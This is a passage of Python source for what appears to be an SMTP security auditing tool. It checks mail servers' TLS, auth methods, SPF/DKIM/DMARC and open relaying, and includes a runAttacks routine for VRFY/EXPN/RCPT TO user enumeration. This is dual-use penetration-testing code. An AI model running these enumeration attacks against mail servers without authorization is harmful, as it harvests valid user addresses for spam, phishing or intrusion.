'TLS_DHE_RSA_WITH_AES_128_CBC_SHA256', 'TLS_DHE_RSA_WITH_AES_256_CBC_SHA256', ) def __init__(self, hostname, port = None, forceSSL = False, dkimSelectorsList = None, userNamesList = None, openRelayParams = ('', ''), connect = True, mailDomain = '' ): self.originalHostname = hostname self.hostname = hostname self.remoteHostname = self.localHostname = self.domain = self.resolvedIPAddress = '' self.port = port self.mailDomain = mailDomain self.ssl = None if not forceSSL else True self.forceSSL = forceSSL self.server = None self.starttlsFailures = 0 self.starttlsSucceeded = False self.dkimSelectorsList = dkimSelectorsList self.userNamesList = userNamesList self.availableServices = set() self.banner = '' self.connected = False self.dumpTlsOnce = False self.connectionErrors = 0 self.connectionErrorCodes = {} self.results = {} self.threads = {} self.stopEverything = False self.server_tls_params = {} self.openRelayParams = openRelayParams self.spfValidated = False if not hostname: fail('No hostname specified!') return assert config['dns_full'] in ('always', 'on-ip', 'never'), \ "config['dns_full'] wrongly stated." if re.match(r'[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}', hostname) and not mailDomain: spf = SmtpTester.checkIfTestToRun('spf') dkim = SmtpTester.checkIfTestToRun('dkim') dmarc = SmtpTester.checkIfTestToRun('dmarc') if spf or dkim or dmarc: out('Server\'s IP specified and no mail domain: SPF/DKIM/DMARC results may be inaccurate.', toOutLine = True) out('You may want to specify \'--domain\' and repeat those tests for greater confidence.', toOutLine = True) self.resolvedIPAddress = hostname needsConnection = False for test in SmtpTester.testsConducted.keys(): if self.checkIfTestToRun(test) and test not in SmtpTester.connectionLessTests: needsConnection = True break try: if needsConnection and connect and not self.connect(): sys.exit(-1) except KeyboardInterrupt: fail('Premature program interruption. Did not even obtained connection.') sys.exit(-1) self.connected = True if not self.resolveDomainName(): sys.exit(-1) @staticmethod def getTests(): return SmtpTester.testsConducted def stop(self): err('Stopping everything.') config['max_enumerations'] = 0 self.stopEverything = True self.disconnect() def resolveDomainName(self): if self.hostname: resolutionFailed = False if re.match('^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$', self.hostname): resolved = None try: resolved = socket.gethostbyaddr(self.hostname) self.remoteHostname = repr(resolved[0]).replace("'", '') info('Resolved DNS (A) name: "{}"'.format( self.remoteHostname )) except socket.herror as e: dbg('IP address could not be resolved into hostname.') resolutionFailed = True else: try: resolved = socket.gethostbyname(self.hostname) info('Resolved IP address / PTR: "{}"'.format( resolved )) self.resolvedIPAddress = resolved except socket.herror as e: dbg('DNS name could not be resolved into IP address.') matched = None if self.banner: matched = re.search(BannerParser.localHostnameRegex, self.banner) if matched: self.localHostname = matched.group(1) info('SMTP banner revealed server name: "{}".'.format( self.localHostname )) if resolutionFailed and not matched: fail("Could not obtain server's hostname from neither IP nor banner!") return False elif not resolutionFailed and not matched: info("Resolved IP but could not obtain server's hostname from the banner.") return True elif resolutionFailed and matched: info("It was possible to obtain server's hostname from the banner but not to resolve IP address.") return True return True def printDNS(getDNSValidHostname): def wrapper(self, noRemote = True): out = getDNSValidHostname(self, noRemote) if config['smtp_debug']: dbg('Using hostname: "{}" for DNS query.'.format(out)) return out return wrapper @printDNS def getDNSValidHostname(self, noRemote = False): if self.localHostname: return self.localHostname elif not noRemote and self.remoteHostname: return self.remoteHostname else: return self.hostname def getMailDomain(self): if self.mailDomain: return self.mailDomain hostname = self.getDNSValidHostname(noRemote = True) return '.'.join(hostname.split('.')[1:]) def getAllPossibleDomainNames(self): allOfThem = [ self.originalHostname, # 0 self.hostname, # 1 self.localHostname, # 2 self.getMailDomain(), # 3 self.remoteHostname, # 4 # 5. FQDN without first LLD '.'.join(self.originalHostname.split('.')[1:]) ] uniq = set() ret = [] # Workaround for having OrderedSet() alike collection w/o importing such modules for host in allOfThem: if host not in uniq: ret.append(host) uniq.add(host) return ret def getDomainsToReviewDNS(self): if self.mailDomain: return [self.mailDomain,] domainsToReview = [self.originalHostname] doFullReview = False ipRex = r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}' if config['dns_full'] == 'always' or \ (config['dns_full'] == 'on-ip' and re.match(ipRex, self.originalHostname)): doFullReview = True if doFullReview: domainsToReview = list(filter( lambda x: not re.match(ipRex, x), self.getAllPossibleDomainNames() )) # Get only domains, not subdomains. domainsToReview = set(map( lambda x: '.'.join(x.split('.')[-2:]), domainsToReview )) out = list(filter(None, domainsToReview)) out = [x.replace('"', '').replace("'", "") for x in out] return out def disconnect(self): if self.server: try: self.server.quit() del self.server self.server = None time.sleep(0.5) except: pass def connect(self, quiet = False, sayHello = False): ret = False noBannerPreviously = self.banner == '' if self.stopEverything: return False self.disconnect() if self.port == None: ret = self.tryToConnectOnDifferentPorts(quiet) else: ret = self.reconnect(quiet) if noBannerPreviously and self.banner: _out('SMTP banner: "{}"'.format(self.banner), True, colors.fg.pink) if ret and sayHello: dbg('Saying HELO/EHLO to the server...') out = self.sendcmd('EHLO ' + SmtpTester.pretendLocalHostname) dbg('Server responded to HELO/EHLO with: {}'.format(out)) if out[0]: self.parseHelpOutputAndUpdateServicesList(out[1].decode()) else: err('Could not obtain response to EHLO/HELO. Fatal error.', toOutLine = True) sys.exit(-1) return ret def connectSocket(self, port, ssl, sayHello = True): if ssl: self.server = smtplib.SMTP_SSL( local_hostname = SmtpTester.pretendLocalHostname, timeout = config['timeout'] ) else: self.server = smtplib.SMTP( local_hostname = SmtpTester.pretendLocalHostname, timeout = config['timeout'] ) if config['smtp_debug']: self.server.set_debuglevel(9) if config['delay'] > 0.0: time.sleep(config['delay']) out = self.server.connect(self.hostname, port) if out[0] in (220, 250, ): dbg('Connected over {} to {}:{}'.format( 'SSL' if ssl else 'Non-SSL', self.hostname, port )) self.banner = out[1].decode() self.port = port self.ssl = ssl if ssl: self.performedStarttls = True self.server_tls_params = { 'cipher' : self.server.sock.cipher(), 'version': self.server.sock.version(), 'shared_ciphers': self.server.sock.shared_ciphers(), 'compression': self.server.sock.compression(), 'DER_peercert': self.server.sock.getpeercert(True), 'selected_alpn_protocol': self.server.sock.selected_alpn_protocol(), 'selected_npn_protocol': self.server.sock.selected_npn_protocol(), } if sayHello: dbg('Saying HELO/EHLO to the server...') out = self.sendcmd('EHLO ' + SmtpTester.pretendLocalHostname) dbg('Server responded to HELO/EHLO with: {}'.format(out)) self.parseHelpOutputAndUpdateServicesList(self.banner) else: if out[0] not in self.connectionErrorCodes.keys(): self.connectionErrorCodes[out[0]] = 0 else: self.connectionErrorCodes[out[0]] += 1 if out[0] == 421: # 421 - Too many connections error pass elif out[0] == 450: # 450 - 4.3.2 try again later if self.connectionErrorCodes[out[0]] > 5: err("We have sent too many connection requests and were temporarily blocked.\nSorry. Try again later.", toOutLine = True) sys.exit(-1) else: fail('Waiting 30s for server to cool down after our flooding...') time.sleep(30) elif out[0] == 554: # 554 - 5.7.1 no reverse DNS out = False if self.connectionErrors > 0 else True err('Our host\'s IP does not have reverse DNS records - what makes SMTP server reject us.', toOutLine = out) if self.connectionErrors > 5: err('Could not make the SMTP server, ccept us without reverse DNS record.', toOutLine = True) sys.exit(-1) else: err('Unexpected response after connection, from {}:{}:\n\tCode: {}, Message: {}.'.format( self.hostname, port, out[0], out[1] )) dbg('-> Got response: {}'.format(out)) self.connectionErrors += 1 if self.connectionErrors > 20: err('Could not connect to the SMTP server!') sys.exit(-1) return out def tryToConnectOnSSLandNot(self, port): try: # Try connecting over Non-SSL socket if self.forceSSL: raise Exception('forced ssl') dbg('Trying non-SSL over port: {}'.format(port)) self.connectSocket(port, False) return True except Exception as e: # Try connecting over SSL socket dbg('Exception occured: "{}"'.format(str(e))) try: dbg('Trying SSL over port: {}'.format(port)) self.connectSocket(port, True) self.starttlsSucceeded = True return True except Exception as e: dbg('Both non-SSL and SSL connections failed: "{}"'.format(str(e))) return False def tryToConnectOnDifferentPorts(self, quiet): # # No previous connection. # Enumerate common SMTP ports and find opened one. # succeeded = False for port in SmtpTester.commonSmtpPorts: if self.stopEverything: break if self.tryToConnectOnSSLandNot(port): succeeded = True break if not quiet: if not succeeded: err('Could not connect to the SMTP server!') else: ok('Connected to the server over port: {}, SSL: {}'.format( self.port, self.ssl ), toOutLine = True) return succeeded def reconnect(self, quiet, sayHello = True): # # The script has previously connected or knows what port to choose. # multiplier = 0 for i in range(4): try: out = self.connectSocket(self.port, self.ssl, sayHello = sayHello) if out[0] == 421: multiplier += 1 delay = multiplier * config['too_many_connections_delay'] info('Awaiting {} secs for server to close some of our connections...'.format( delay )) time.sleep(delay) continue else: dbg('Reconnection succeeded ({})'.format(out)) return True except (socket.gaierror, socket.timeout, smtplib.SMTPServerDisconnected, ConnectionResetError) as e: dbg('Reconnection failed ({}/3): "{}"'.format(i, str(e))) dbg('Server could not reconnect after it unexpectedly closed socket.') return False def setSocketTimeout(self, timeout = config['timeout']): try: self.server.sock.settimeout(timeout) except (AttributeError, OSError): dbg('Socket lost somehow. Reconnecting...') if self.connect(True): try: self.server.sock.settimeout(timeout) except (AttributeError, OSError): pass else: dbg('FAILED: Could not reconnect to set socket timeout.') def processOutput(sendcmd): def wrapper(self, command, nowrap = False): out = sendcmd(self, command, nowrap) if nowrap: return out if out and (out[0] == 530 and b'STARTTLS' in out[1]): if self.starttlsFailures >= SmtpTester.maxStarttlsRetries: dbg('Already tried STARTTLS and it have failed too many times.') return (False, False) dbg('STARTTLS reconnection after wrapping command ({})...'.format(command)) if not self.performStarttls(): dbg('STARTTLS wrapping failed.') return (False, 'Failure') dbg('Wrapping succeeded. Retrying command "{}" after STARTTLS.'.format( command )) return sendcmd(self, command) elif out and (out[0] == 421): # 'Exceeded bad SMTP command limit, disconnecting.' dbg('Reconnecting due to exceeded number of SMTP connections...') if self.connect(quiet = True): return sendcmd(self, command) else: dbg('Could not reconnect after exceeded number of connections!') return (False, False) self.checkIfSpfEnforced(out) return out return wrapper def performStarttls(self, sendEhlo = True): ret = True if self.ssl == True: dbg('The connection is already carried through SSL Socket.') return True if self.starttlsFailures > SmtpTester.maxStarttlsRetries: fail('Giving up on STARTTLS. There were too many failures...') return False out = self.sendcmd('STARTTLS') if out[0] == 220: dbg('STARTTLS engaged. Wrapping socket around SSL layer.') context = ssl.create_default_context() # Allow unsecure ciphers like SSLv2 and SSLv3 context.options &= ~(ssl.OP_NO_SSLv2 | ssl.OP_NO_SSLv3) context.check_hostname = False context.verify_mode = ssl.CERT_NONE if self.server and self.server.sock: self.setSocketTimeout(5 * config['timeout']) try: newsock = context.wrap_socket( self.server.sock, server_hostname = SmtpTester.pretendLocalHostname ) # Re-initializing manually the smtplib instance self.server.sock = newsock self.server.file = None self.server.helo_resp = None self.server.ehlo_resp = None self.server.esmtp_features = {} self.server.does_esmtp = 0 self.starttlsSucceeded = True self.server_tls_params = { 'cipher' : newsock.cipher(), 'version': newsock.version(), 'shared_ciphers': newsock.shared_ciphers(), 'compression': newsock.compression(), 'DER_peercert': newsock.getpeercert(True), 'selected_alpn_protocol': newsock.selected_alpn_protocol(), 'selected_npn_protocol': newsock.selected_npn_protocol(), } dbg('Connected to the SMTP Server via SSL/TLS.') if not self.dumpTlsOnce: dbg('SSL Socket parameters:\n{}'.format(pprint.pformat(self.server_tls_params))) self.dumpTlsOnce = True if sendEhlo: dbg('Sending EHLO after STARTTLS...') out = self.sendcmd('EHLO ' + SmtpTester.pretendLocalHostname) if out[0]: dbg('EHLO after STARTTLS returned: {}'.format(out)) else: err('EHLO after STARTTLS failed: {}'.format(out)) except (socket.timeout, ConnectionResetError) as e: err('SSL Handshake timed-out (Firewall filtering?). Fall back to plain channel.') dbg('STARTTLS exception: "{}"'.format(str(e))) self.starttlsFailures += 1 if not self.connect(quiet = True, sayHello = False): ret = False self.setSocketTimeout() elif out[0] == 500: info('The server is not offering STARTTLS.') else: fail('The server has not reacted for STARTTLS: ({}). Try increasing timeout.'.format(str(out))) return ret @processOutput def sendcmd(self, command, nowrap = False): out = (False, False) dbg('Sending command: "{}"'.format(command)) self.setSocketTimeout(3 * config['timeout']) for j in range(3): try: if config['delay'] > 0.0: time.sleep(config['delay']) out = self.server.docmd(command) dbg('Command resulted with: {}.'.format(out)) if out[0] in (503,) and b'hello first' in out[1].lower(): # 503: 5.5.2 Send hello first dbg('Ok, ok - sending Hello first...') if self.connect(quiet = True, sayHello = True): dbg('Ok, reconnected and said hello. Trying again...') else: dbg('Failed reconnecting and saying hello.') return (False, False) continue break except (smtplib.SMTPServerDisconnected, socket.timeout) as e: if str(e) == 'Connection unexpectedly closed': # smtplib.getreply() returns this error in case of reading empty line. #dbg('Server returned empty line / did not return anything.') #return (False, '') dbg('Connection unexpectedly closed: {}'.format(str(e))) if self.connect(quiet = True, sayHello = False): continue else: dbg('Server has disconnected ({}).'.format(str(e))) if 'connect' in str(e).lower(): dbg('Attempting to reconnect and resend command...') if self.connect(quiet = True, sayHello = False): continue else: break if not out[0]: dbg('Could not reconnect after failure.') self.setSocketTimeout() return out[0], out[1] def parseHelpOutput(self, output): if len(output.split('\n')) >= 2: output = output.replace('\t', '\n') dbg('Parsing potential HELP output: "{}"'.format( output.replace('\n', '\\n') )) helpMultilineCommandsRegexes = ( r'(?:\\n)([a-zA-Z- 0-9]{3,})', r'(?:\n)([a-zA-Z- 0-9]{3,})' ) for rex in helpMultilineCommandsRegexes: out = re.findall(rex, output) if len([x for x in out if x != None]) > 0: return out else: return '' def parseHelpOutputAndUpdateServicesList(self, out): outlines = self.parseHelpOutput(out) if outlines: self.availableServices.update(set(map(lambda x: x.strip(), outlines))) outlines = set() dbg('SMTP available services: {}'.format(pprint.pformat(self.availableServices))) return True return False def getAvailableServices(self): dbg('Acquiring list of available services...') out = False outlines = set() if self.banner: if self.parseHelpOutputAndUpdateServicesList(self.banner): return True out = self.sendcmd('EHLO ' + SmtpTester.pretendLocalHostname) if out[0]: dbg('EHLO returned: {}'.format(out)) if self.parseHelpOutputAndUpdateServicesList(out[1].decode()): return True # We are about to provoke SMTP server sending us the HELP listing in result # of sending one of below collected list of commands. for cmd in ('HELP', '\r\nHELP', 'TEST'): try: out = self.sendcmd(cmd) if out[0] in (214, 220, 250): ret = out[1].decode() if self.parseHelpOutputAndUpdateServicesList(ret): return True outlines = self.parseHelpOutput(ret) if len(outlines) < 2: for line in ret.split('\\n'): m = re.findall(r'([A-Z-]{3,})', line) pos = ret.find(line) if m and (pos > 0 and ret[pos-1] == '\n'): dbg('Following line was found by 2nd method HELP parsing: "{}"'.format( line )) outlines = m break if outlines: break except Exception as e: continue if outlines: self.availableServices.update(set(map(lambda x: x.strip(), outlines))) dbg('SMTP available services: {}'.format(pprint.pformat(self.availableServices))) return True info('Could not collect available services list (HELP)') return False def getAuthMethods(self, service): if not self.availableServices: self.getAvailableServices() if not self.availableServices: fail('UNKNOWN: Could not collect available SMTP services') return None authMethods = set() authMethodsList = list(filter( lambda x: x.lower().startswith(service.lower()) and x.lower() != service.lower(), self.availableServices )) # Conform following HELP format: "250-AUTH=DIGEST-MD5 CRAM-MD5 PLAIN LOGIN" if authMethodsList: dbg('List of candidates for {} methods: {}'.format(service, authMethodsList)) for auth in authMethodsList: auth = auth.strip().replace('=', ' ') auth = auth.replace(service + ' ', '') if auth.count(' ') > 0: s = set(['{}'.format(a) for a in auth.split(' ') \ if a.lower() != service.lower()]) authMethods.update(s) else: authMethods.add(auth) else: dbg('The server does not offer any {} methods.'.format(service)) if authMethods: dbg('List of {} methods to test: {}'.format(service, authMethods)) return authMethods @staticmethod def ifMessageLike(out, codes = None, keywords = None, keywordsAtLeast = 0): codeCheck = False keywordCheck = False if not codes and not keywords: return False keywords2 = [k.lower() for k in keywords] msg = out[1].decode() found = 0 for word in msg.split(' '): if word.lower() in keywords2: found += 1 if codes != None and len(codes) > 0: codeCheck = out[0] in codes else: codeCheck = True if keywords != None and len(keywords) > 0: if keywordsAtLeast == 0: keywordCheck = found == len(keywords) else: keywordCheck = found >= keywordsAtLeast else: keywordCheck = True return codeCheck and keywordCheck @staticmethod def checkIfTestToRun(test): if (test in config['tests_to_skip']): return False if ('all' in config['tests_to_carry'] or test in config['tests_to_carry']): return True else: if config['smtp_debug']: dbg('Test: "{}" being skipped as it was marked as disabled.'.format(test)) return False def runTests(self): dkimTestThread = None if SmtpTester.checkIfTestToRun('dkim'): dkimTestThread = self.dkimTestThread() results = [ ('spf', None), ('dkim', None), ('dmarc', None), ('banner-contents', self.bannerSnitch), ('starttls-offering', self.starttlsOffer), ('secure-ciphers', self.testSecureCiphers), ('tls-key-len', self.testSSLKeyLen), ('auth-methods-offered', self.testSecureAuthMethods), ('auth-over-ssl', self.testSSLAuthEnforcement), ('vrfy', self.vrfyTest), ('expn', self.expnTest), ('rcpt-to', self.rcptToTests), ('open-relay', self.openRelayTest), ('spf-validation', self.spfValidationTest), ] if SmtpTester.checkIfTestToRun('spf'): self.results['spf'] = self.spfTest() once = True for res in results: test, func = res assert test in SmtpTester.testsConducted.keys(), \ "The test: '{}' has not been added to SmtpTester.testsConducted!".format(test) if self.stopEverything: break if not SmtpTester.checkIfTestToRun(test): continue if not func: continue if config['delay'] > 0.0: time.sleep(config['delay']) if once: if not self.connected and not self.connect(): sys.exit(-1) else: self.connected = True once = False dbg('Starting test: "{}"'.format(test)) self.results[test] = func() if SmtpTester.checkIfTestToRun('auth-over-ssl') and \ test == 'auth-over-ssl': dbg('Reconnecting after SSL AUth enforcement tests.') if self.stopEverything: break self.reconnect(quiet = True) testDmarc = False if SmtpTester.checkIfTestToRun('dkim') and \ SmtpTester.checkIfTestToRun('spf') and \ SmtpTester.checkIfTestToRun('dmarc'): testDmarc = True self.results['dmarc'] = None if SmtpTester.checkIfTestToRun('dmarc') and not testDmarc: err('To test DMARC following tests must be run also: SPF, DKIM.') if self.threads or dkimTestThread: if not self.stopEverything: info("Awaiting for threads ({}) to finish. Pressing CTRL-C will interrupt lookup process.".format( ', '.join(self.threads.keys()) ), toOutLine = True) try: while (self.threads and all(self.threads.values())): if self.stopEverything: break time.sleep(2) if config['smtp_debug']: dbg('Threads wait loop has finished iterating.') if testDmarc: self.results['dmarc'] = self.evaluateDmarc( self.dmarcTest(), self.results['spf'], self.results['dkim'] ) except KeyboardInterrupt: err('User has interrupted threads wait loop. Returning results w/o DKIM and DMARC.') else: if testDmarc: self.results['dmarc'] = self.evaluateDmarc( self.dmarcTest(), self.results['spf'], self.results['dkim'] ) # Translate those True and False to 'Secure' and 'Unsecure' self.results.update(SmtpTester.translateResultsDict(self.results)) indent = 2 return json.dumps(self.results, indent = indent) def runAttacks(self): attacksToBeLaunched = { 'vrfy': self.vrfyTest, 'expn': self.expnTest, 'rcpt-to': self.rcptToTests, } results = [] info('Attacks will be launched against domain: @{}'.format(self.getMailDomain()), toOutLine = True) info('If that\'s not correct, specify another one with \'--domain\'') for attack, func in attacksToBeLaunched.items(): if not SmtpTester.checkIfTestToRun(attack): continue info('Launching attack: {} enumeration.'.format(attack), toOutLine = True) out = func(attackMode = True) if out and isinstance(out, list): info('Attack result: {} users found.'.format(len(out)), toOutLine = True) results.extend(out) elif out: info('Attack most likely failed {}, result: {}'.format(attack, str(out)), toOutLine = True) else: fail('Attack {} failed.'.format(attack), toOutLine = True) return list(set(results)) @staticmethod def translateResultsDict(results): for k, v in results.items(): if isinstance(v, dict): results[k] = SmtpTester.translateResultsDict(v) else: if v == True: results[k] = 'secure' elif v == False:results[k] = 'unsecure' else: results[k] = 'unknown' return results # # =========================== # BANNER REVEALING SENSITIVIE INFORMATIONS TEST # def bannerSnitch(self): if not self.banner: info('Cannot process server\'s banner - as it was not possible to obtain one.') parser = BannerParser() return parser.parseBanner(self.banner) # # =========================== # SPF TESTS # def enumerateSpfRecords(self, domain): records = set() numberOfSpfRecords = 0 once = True resv = resolver.Resolver() resv.timeout = config['timeout'] / 2.0 info('Queried domain for SPF: "{}"'.format(domain)) try: for txt in resv.query(domain, 'TXT'): txt = txt.to_text().replace('"', '') if txt.lower().startswith('v=spf') and txt not in records: numberOfSpfRecords += 1 records.add(txt) if numberOfSpfRecords > 1 and once: err('Found more than one SPF record. One should stick to only one SPF record.') once = False except (resolver.NoAnswer, resolver.NXDOMAIN, name.EmptyLabel, resolver.NoNameservers) as e: pass return records def spfTest(self): records = {} txts = [] for domain in self.getDomainsToReviewDNS(): for txt in self.enumerateSpfRecords(domain): if txt not in records.keys(): txts.append(txt) records[txt] = self.processSpf(txt) success = True if len(records): results = {} for txt, rec in records.items(): origTxt, results = rec if isinstance(results, dict) and all(results.values()): pass elif isinstance(results, bool) and results: pass else: fail('UNSECURE: SPF record exists, but not passed tests.') _out('\tRecord: ("{}")'.format(origTxt)) return results ok('SECURE: SPF test passed.') _out('\tRecords: ("{}")'.format('", "'.join(txts))) if config['always_unfolded_results']: return results else: fail('UNSECURE: SPF record is missing.') success = False return success def processSpf(self, txt, recurse = 0): ''' Code processing, parsing and evaluating SPF record's contents. ''' maxRecursion = 3 info('Found SPF record: "{}"'.format(txt)) if recurse > maxRecursion: err('Too many SPF redirects, breaking recursion.') return None pos = txt.lower().find('redirect=') if pos > 0: for tok in txt.lower().split(' '): k, v = tok.split('=') if v.endswith(';'): v = v[:-1] if k == 'redirect': info('SPF record redirects to: "{}". Following...'.format(v)) for txt in self.enumerateSpfRecords(v): return (txt, self.processSpf(txt, recurse + 1)) spf = SpfParser() return (txt, spf.process(txt)) # # =========================== # DKIM TESTS # @staticmethod def _job(jid, domains, data, syncDkimThreadsStop, results, totalTested, dkimQueryDelay): try: if (results and sum([x != None for x in results]) > 0) or \ SmtpTester.stopCondition(totalTested, syncDkimThreadsStop): return results.append(SmtpTester.dkimTestWorker(domains, data, syncDkimThreadsStop, dkimQueryDelay, False, totalTested)) except (ConnectionResetError, FileNotFoundError, BrokenPipeError, EOFError, KeyboardInterrupt): pass def dkimTestThread(self): self.results['dkim'] = None if not config['threads']: return self.dkimTest() poolNum = config['parallel_processes'] t = threading.Thread(target = self._dkimTestThread, args = (poolNum, )) t.daemon = True t.start() return t def stopCondition(totalTested, syncDkimThreadsStop): if syncDkimThreadsStop.value: return True if config['max_enumerations'] > 0 and \ totalTested.value >= config['max_enumerations']: return True return False def _dkimTestThread(self, poolNum): def _chunks(l, n): return [l[i:i+n] for i in range(0, len(l), n)] self.threads['dkim'] = True dbg('Launched DKIM test in a new thread running with {} workers.'.format(poolNum)) selectors = self.generateListOfCommonDKIMSelectors() info('Selectors to review: {}'.format(len(selectors))) jobs = [] mgr = multiprocessing.Manager() totalTested = multiprocessing.Value('i', 0) syncDkimThreadsStop = multiprocessing.Value('i', 0) dkimQueryDelay = multiprocessing.Value('d', 0.0) results = mgr.list() slice = _chunks(selectors, len(selectors) // poolNum) domains = self.getDomainsToReviewDNS() try: for i, s in enumerate(slice): if SmtpTester.stopCondition(totalTested, syncDkimThreadsStop) or self.stopEverything: break proc = multiprocessing.Process( target = SmtpTester._job, args = (i, domains, s, syncDkimThreadsStop, results, totalTested, dkimQueryDelay) ) proc.start() jobs.append(proc) num = len(domains) * len(selectors) totals = [] lastTotal = 0 maxDelay = 4.0 delayStep = 0.5 smallStepToDelay = 50 while totalTested.value < len(selectors) - 50: if SmtpTester.stopCondition(totalTested, syncDkimThreadsStop) or self.stopEverything: break totals.append(totalTested.value) js = '(jobs running: {})'.format(len(jobs)) SmtpTester.dkimProgress(totalTested.value, selectors, num, syncDkimThreadsStop, True, js, dkimQueryDelay.value) if config['delay_dkim_queries']: if totalTested.value - lastTotal < smallStepToDelay and dkimQueryDelay.value < maxDelay: dkimQueryDelay.value += delayStep elif totalTested.value - lastTotal >= smallStepToDelay and dkimQueryDelay.value > 0: dkimQueryDelay.value -= delayStep lastTotal = totalTested.value # Wait 5*2 seconds for another DKIM progress message for i in range(15): if SmtpTester.stopCondition(totalTested, syncDkimThreadsStop) or self.stopEverything: break time.sleep(2) if totals.count(totalTested.value) > 1: syncDkimThreadsStop.value = 1 err('Stopping DKIM thread cause it seems to have stuck.', toOutLine = True) break info('DKIM selectors enumerated. Stopping jobs...') for j in jobs: if SmtpTester.stopCondition(totalTested, syncDkimThreadsStop) or self.stopEverything: break for i in range(30): if SmtpTester.stopCondition(totalTested, syncDkimThreadsStop) or self.stopEverything: break j.join(2 * 60 / 30) except (KeyboardInterrupt, BrokenPipeError): pass try: if results and sum([x != None for x in results]) > 0: dbg('DKIM thread found valid selector.') self.results['dkim'] = [x for x in results if x != None][0] else: fail('UNSECURE: DKIM record is most likely missing, as proved after {} tries.'.format( totalTested.value )) except FileNotFoundError: pass self.threads['dkim'] = False return self.results['dkim'] def dkimTest(self, selectors = None): if not selectors: selectors = self.generateListOfCommonDKIMSelectors() ret = self.dkimTestWorker(self.getDomainsToReviewDNS(), selectors) self.results['dkim'] = ret return ret @staticmethod def dkimProgress(total, selectors, num, syncDkimThreadsStop, unconditional = False, extra = None, dkimQueryDelay = 0): if total < 100 or SmtpTester.stopCondition(total, syncDkimThreadsStop): return progressStr = 'DKIM: Checked {:02.0f}% ({:05}/{:05}) selectors. Query delay: {:0.2f} sec.'.format( 100.0 * (float(total) / float(len(selectors))), total, len(selectors), dkimQueryDelay ) if extra: progressStr += ' ' + extra progressStr += '...' N = 10 if (not config['debug'] and (unconditional or ((total % int(num // N)) == 0))): info(progressStr, toOutLine = True) elif (config['debug'] and (unconditional or (total % 250 == 0))): if config['threads']: dbg(progressStr) else: sys.stderr.write(progressStr + '\r') sys.stderr.flush() @staticmethod def dkimTestWorker(domainsToReview, selectors, syncDkimThreadsStop, dkimQueryDelay = None, reportProgress = True, totalTested = None): ret = False stopIt = False total = 0 maxTimeoutsToAccept = int(0.3 * len(selectors)) timeoutsSoFar = 0 if SmtpTester.stopCondition(totalTested, syncDkimThreadsStop): return None num = len(domainsToReview) * len(selectors) if reportProgress: info('Checking around {} selectors. Please wait - this will take a while.'.format( num )) resv = resolver.Resolver() resv.timeout = 1.2 for domain in domainsToReview: if stopIt or SmtpTester.stopCondition(totalTested, syncDkimThreadsStop): break if reportProgress: info('Enumerating selectors for domain: {}...'.format(domain)) for sel in selectors: if stopIt or SmtpTester.stopCondition(totalTested, syncDkimThreadsStop): break dkimRecord = '{}._domainkey.{}'.format(sel, domain) total += 1 if totalTested: totalTested.value += 1 if reportProgress: SmtpTester.dkimProgress(total, selectors, num) try: if not dkimRecord: continue if dkimQueryDelay and dkimQueryDelay.value > 0: time.sleep(dkimQueryDelay.value) for txt in resv.query(dkimRecord, 'TXT'): if stopIt or SmtpTester.stopCondition(totalTested, syncDkimThreadsStop): break txt = txt.to_text().replace('"', '') if config['max_enumerations'] > -1 and \ total >= config['max_enumerations']: stopIt = True break if txt.lower().startswith('v=dkim'): info('DKIM found at selector: "{}"'.format(sel)) ret = SmtpTester.processDkim(txt) if ret: ok('SECURE: DKIM test passed.') else: fail('UNSECURE: DKIM test not passed') syncDkimThreadsStop.value = 1 return ret except (exception.Timeout) as e: if timeoutsSoFar >= maxTimeoutsToAccept: err('DNS enumeration failed: Maximum number of timeouts from DNS server reached.') break timeoutsSoFar += 1 except (AttributeError, resolver.NoAnswer, resolver.NXDOMAIN, resolver.NoNameservers, name.EmptyLabel, name.NameTooLong) as e: continue except KeyboardInterrupt: dbg('User has interrupted DKIM selectors enumeration test.') return None if reportProgress: if total >= num: fail('UNSECURE: DKIM record is most likely missing. Exhausted list of selectors.') else: fail('UNSECURE: DKIM record is most likely missing. Process interrupted ({}/{}).'.format( total, num )) return None @staticmethod def processDkim(txt): ''' Code processing, parsing and evaluating DKIM record's contents. ''' dkim = DkimParser() return dkim.process(txt) def generateListOfCommonDKIMSelectors(self): ''' Routine responsible for generating list of DKIM selectors based on various permutations of the input words (like common DKIM selectors or other likely selector names). ''' months = ('styczen', 'luty', 'marzec', 'kwiecien', 'maj', 'czerwiec', 'lipiec', 'sierpien', 'wrzesien', 'pazdziernik', 'listopad', 'grudzien', 'january', 'february', 'march', 'april', 'may', 'june', 'july', 'august', 'october', 'november', 'september', 'december', 'enero', 'febrero', 'marzo', 'abril', 'mayo', 'junio', 'agosto', 'septiembre', 'octubre', 'noviembre', 'diciembre', 'januar', 'februar', 'marz', 'mai', 'juni', 'juli', 'oktober', 'dezember') domains = self.domain.split('.') words = ('default', 'dkim', 'dk', 'domain', 'domainkey', 'test', 'selector', 'mail', 'smtp', 'dns', 'key', 'sign', 'signing', 'auth', 'sel', 'google', 'shopify.com' ) + tuple(domains) + config['uncommon_words'] selectors = [] # Set 0: All collected domains selectors.extend(self.getAllPossibleDomainNames()) # Set 1: User-defined try: if self.dkimSelectorsList: with open(self.dkimSelectorsList, 'r') as f: for l in f.readlines(): selectors.append(l.strip()) except IOError: err('Could not open DKIM selectors list file.') sys.exit(-1) # Set 2: Common words permutations for w in words: selectors.append('{}'.format(w)) selectors.append('_{}'.format(w)) selectors.append('{}_'.format(w)) for i in range(0, 11): if not config['dkim_full_enumeration']: break selectors.append('{}{}'.format(w, i)) selectors.append('{}{:02d}'.format(w, i)) if config['dkim_full_enumeration']: nowTime = datetime.datetime.now() currYear = nowTime.year yearsRange = range(currYear - 2, currYear + 1) # Set 3: Year-Month text permutations for m in months: for yr in yearsRange: ms = ( m[:3], m, '%d' % yr, '%s%d' % (m, yr), '%s%d' % (m[:3], yr), '%s%d' % (m, (yr - 2000)), '%s%d' % (m[:3], (yr - 2000)), '%d%s' % (yr, m), '%d%s' % (yr, m[:3]), '%d%s' % ((yr - 2000), m), '%d%s' % ((yr - 2000), m[:3]), ) selectors.extend(ms) currTimeFormats = ( '%Y%m%d', '%Y%d%m', '%d%m%Y', '%m%d%Y', '%Y', '%m', '%Y%m', '%m%Y' ) # Set 4: Year-Month-Day date permutations for f in currTimeFormats: selectors.append(nowTime.strftime(f)) for yr in yearsRange: for j in range(1,13): for k in range(1, 32): try: t = 